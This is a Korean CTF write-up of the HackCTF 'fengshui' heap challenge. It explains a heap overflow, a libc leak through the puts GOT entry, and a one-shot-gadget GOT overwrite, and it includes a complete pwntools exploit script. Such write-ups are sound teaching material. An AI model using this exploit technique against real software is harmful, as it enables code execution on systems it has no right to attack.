Pwnstar

HackCTF 풍수지리설 본문

Wargame/HackCTF

HackCTF 풍수지리설

포너블처돌이 2020. 7. 22. 01:17

풍수지리설

핵시텦의 풍수지리설 문제를 풀면서 heap fengshui에 대한 공부를 좀 해 보려고 한다.

 

우선 3번의 입력을 준다. 그러면 heap의 구조는 이렇게 된다.

 

 

몇 번씩 재실행하면서 보기 때문에 heap의 주소가 달라진다. offset 위주로 확인해야 함

 

이 때 0번 인덱스를 삭제하고, libc 주소를 leak하기 위한 페이로드를 malloc한 상태의 힙이다.

 

payload = 'a'*0x80+p32(0x88)+p32(0x11)+'A'*8+p32(0)+p32(0x89)+p32(e.got['puts'])

 

자 그럼 여기서 생각을 좀 해보자

 

원래 입력을 받을 때에는

 

 

다음과 같이 name을 입력받는 사이즈보다 text를 입력받는 사이즈가 더 크면 종료가 된다.

 

그런데 어째서 새로 입력을 받을 때 분명히 name의 사이즈에 128을 넣고, text의 사이즈에 156을 넣었는데 입력이 가능한 것일까?

 

아까 언급한 사이즈에 대해서 우리는

 

 

이 부분 때문에 더 큰 사이즈를 입력할 수 없다는 것을 안다.

 

이 부분을 디버깅 하면서 어떤 값이 들어가는 지 살펴보자

 

이 부분이다. eax와 edx를 비교하는데 각각의 레지스터에 어떤 값이 들어가는 지 알아보자

 

edx : 0x9d18018 + 0x9c(156)

text 부분의 사이즈가 더해진 것으로 보아 if문의 전자에 해당한다고 할 수 있다.

 

eax : 0x9d181d0 - 0x4 → 0x89

if문의 후자에 해당한다. 이 부분은 name 부분의 사이즈가 들어가있는 주소 값이다.

 

즉 heap overflow가 발생하지 않도록 text 내용이 들어갈 주소 + text의 사이즈가 name이 들어갈 주소 - 4보다 클 수 없게 해 놓은 것이다. 때문에 name의 사이즈보다 더 큰 값을 입력해도 종료되지 않고 if 문을 지나칠 수 있다.

 

**좀 더 이해를 돕기 위한 추가 설명을 써 놓으려고 한다.

 

일단 free까지 한 상태에서 name의 malloc을 받을 때의 주소를 보자

 

저 빨간 밑줄에 0x80만큼 malloc 받고 입력한 AAAA가 들어가 있다. 이때는 top chunk의 주소가 0xc8로 되어있기 때문에 그 부분부터 새로 malloc 받은 "AAAA"가 여기에 들어간다.

 

그 이유를 좀 더 찬찬히 뜯어보자


add_location 함수의 첫 부분을 보면 먼저 입력받은 description의 사이즈만큼 malloc을 하게 된다. 그러면 이때 사이즈를 128(0x80)을 준다면 우리는 먼저 free한 부분이 사이즈가 0x80이기 때문에 여기에 malloc을 새로 받게 된다.

 

 

보면 free된 이후 다시 malloc을 받아서 used로 바뀌어 있다 이 부분은 text가 들어갈 공간으로 쓰이게 된다.

 

그리고 그 이후에 name의 입력을 받을 부분은 자동으로 0x80만큼 malloc 받게 되는데, 이때 description의 데이터를 입력할 주소가

 

 

name의 주소에 들어가게 된다. v2는 name, s는 description

 

어셈블리어로 보면 여기다.

 

 

edx에는 description의 주소가, eax는 name의 주소이다.

 

이 주소에 이제 description을 입력하게 되는데, 결국엔 로직버그라는 것을 발견했다.

 

처음에 description의 사이즈를 입력받음 → 0x80을 넣어서 free한 부분에 새로 malloc 받음

이후 name 입력받을 부분을 0x80만큼 입력받음

이후 description을 입력받을 때 text length에서 입력받은 사이즈만큼 입력할 수 있음 → heap overflow가 일어남

 


어쨌든 다음 text의 입력은 eax에 들어있는 주소값에 들어 있는 주소에 입력을 받게 되는데 그 부분은 edx이다. 그래서 이 부분에 156만큼 입력을 받게 되면

 

 

빨간 화살표가 있는 부분부터 파란색 밑줄이 쳐진 부분까지 입력이 가능하게 되는데(156) 이 부분은 name을 가리키는 부분이다.

 

이 부분을 조작하면 display 메뉴를 통해 libc 주소를 leak할 수 있게 된다.

 

 

0x8d880b0의 부분이 puts got로 바뀐 것을 볼 수 있다. 이제 display 메뉴를 입력하게 되면,

 

 

이렇게 libc 주소를 출력할 수 있다.

 

이제 이 puts got를 한 번 더 이용해서 oneshot 가젯을 실행시킬 건데 그 방법은 간단핟.

 

위의 0x8d880b0 이 주소는 원래 두 번째 malloc의 text 부분의 주소를 가리키고 있을 부분이다. 그런데 지금은 puts got를 가리키고 있기 때문에

update location 메뉴를 이용해서 puts got를 덮을 수 있고, 그 다음 메뉴로 돌아올 때 oneshot 가젯이 실행되어 쉘을 딸 수 있다.

 

ex.py

from pwn import*

context.terminal = ['tmux', 'splitw', '-h']
p = process("./fengshui")
#p = remote("ctf.j0n9hyun.xyz", 3028)
e = ELF("./fengshui")
libc = ELF("./libc.so.6")

script = '''
b*0x08048833
b*0x080488e7
b*0x08048785
b*0x08048948
b*0x08048b5f
'''

gdb.attach(p, script)

def add_loc(size_d, name, text_len, text):
    p.sendlineafter("Choice: ", "0")
    p.sendlineafter("Size of description: ", str(size_d))
    p.sendlineafter("Name: ", name)
    p.sendlineafter("Text length: ", str(text_len))
    p.sendlineafter("Text: ", text)
    
def del_loc(idx):
    p.sendlineafter("Choice: ", "1")
    p.sendlineafter("Index: ", str(idx))

def disp_loc(idx):
    p.sendlineafter("Choice: ", "2")
    p.sendlineafter("Index: ", str(idx))
    
def up_loc(idx, text_len, text):
    p.sendlineafter("Choice: ", "3")
    p.sendlineafter("Index: ", str(idx))
    p.sendlineafter("Text length: ", str(text_len))
    p.sendlineafter("Text: ", text)
    
add_loc(10, "AAAA", 10, "BBBB")
add_loc(10, "CCCC", 10, "DDDD")
add_loc(10, "EEEE", 10, "FFFF")

del_loc(0)

payload = 'a'*0x80+p32(0x88)+p32(0x11)+'A'*8+p32(0)+p32(0x89)+p32(e.got['puts'])
add_loc(128,"AAAA",len(payload),str(payload))

disp_loc(1)

p.recvuntil("Description: ")
puts_got = u32(p.recv(4))
libc_base = puts_got - libc.symbols['puts']
log.info("libc base = " + hex(libc_base))
oneshot = libc_base + 0x3ac5c

up_loc(1, 4, p32(oneshot))
    
p.interactive()

 

로컬

서버

 

'Wargame > HackCTF' 카테고리의 다른 글

hackctf 훈폰정음  (0) 2021.02.02
hackctf childheap  (0) 2021.01.26
HackCTF pwning  (0) 2020.07.20
HackCTF Unexploitable #3  (0) 2020.06.29
HackCTF j0n9hyun's secret  (0) 2020.06.29
Comments